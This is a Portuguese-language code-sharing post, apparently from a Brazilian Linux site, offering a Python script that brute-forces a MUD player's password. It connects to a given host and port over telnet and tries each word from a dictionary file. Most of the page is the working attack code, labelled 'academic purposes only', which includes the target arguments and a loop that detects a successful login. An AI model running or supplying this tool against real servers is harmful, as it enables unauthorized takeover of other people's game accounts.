Brute Force para MUD
Publicado por Karl Phillip 14/07/2004
[ Hits: 10.754 ]
Programa do tipo forca bruta para MUDs, escrito em Python por mim.
Tenta descobrir a senha de um jogador atraves de um dicionario de palavras, passando como parametro o Host e a Porta em que o jogo esta rodando.
Uso: ./mudbf.py end.do-mud.com 3000 JOGADOR dic_palavras.txt
Meus agradecimentos a <Aloysio de Paiva Figueiredo> pelo incentivo e muitas vezes suporte.
#!/usr/bin/python ######################################################################################### ### # ### This is a <Brute Force> program for MUD. # ### It was design fo academic purposes only. ***USE IT AT OWN RISC*** # ### Written in Python by: Karl Phillip # ### website: www.maxphil.cjb.net # ### em@il: max-phil@bol.com.br # ### Karl Phillip # ######################################################################################### import sys, string from telnetlib import Telnet try: host_name = sys.argv[1] port = sys.argv[2] ptarget = sys.argv[3] fname = sys.argv[4] except IndexError: print ">> Usage: ./mudbf <host> <port> <playerTARGET> <passwdFILE)\n" sys.exit(1) try: arq = open(fname) arq.close() except IOError: print ">> Password file does not exist!\n" sys.exit(1) print "\n<PytHoN programmed/> _brute_force4MUD_" print "" print " http://www.maxphil.cjb.net" print " by: Karl Phillip \n" print " <Target>: %s" % host_name print " <Port>: %s" % port print " <Player>: %s\n" % ptarget print ">> Trying passwords.. (this could take a few minutes)\n" arq = open(fname) login_sucess = "*** PRESS RETURN:" login_new ="Did I get that righ" numtries = 0 looping = False while not looping: for line in arq.readlines(): passwd = line numtries += 1 vict = Telnet(host_name, port) vict.write(ptarget+"\n") vict.write(str(passwd)+"\n") response = vict.read_until("Wrong password.", 12) if string.count(response, login_new): print "\n=========================================" print " *PLAYER NOT FOUND* in this MUD!" print "=========================================\n" arq.close() vict.close() sys.exit(1) elif string.count(response, login_sucess): print "\n <Passwords tried> %d" % int(numtries) print "\n*User*: %s" % ptarget print "*Password*: %s" % passwd vict.close() sys.exit(1) else: #print "Trying passwd: %s" % passwd vict.close() vict.close() looping = True arq.close() vict.close() print "\n <Passwords tried> %d" % int(numtries) print "\n=========================================" print " *NO PASSWORD* was found in that file!" print "=========================================\n"
Identificador de spam em Python
Script para analise de superficie de ataque
Mkpass - Função para gerar senhas aleatórias
DSearch - (Dir Search): script python para descobrir diretórios de servidores.
Compartilhando a tela do Computador no Celular via Deskreen
Como Configurar um Túnel SSH Reverso para Acessar Sua Máquina Local a Partir de uma Máquina Remota
Configuração para desligamento automatizado de Computadores em um Ambiente Comercial
Como renomear arquivos de letras maiúsculas para minúsculas
Imprimindo no formato livreto no Linux
Vim - incrementando números em substituição
Efeito "livro" em arquivos PDF
Como resolver o erro no CUPS: Unable to get list of printer drivers
SysAdmin ou DevOps: Qual curso inicial pra essa área? (0)
Melhores Práticas de Nomenclatura: Pastas, Arquivos e Código (3)
[Python] Automação de scan de vulnerabilidades
[Python] Script para analise de superficie de ataque
[Shell Script] Novo script para redimensionar, rotacionar, converter e espelhar arquivos de imagem
[Shell Script] Iniciador de DOOM (DSDA-DOOM, Doom Retro ou Woof!)
[Shell Script] Script para adicionar bordas às imagens de uma pasta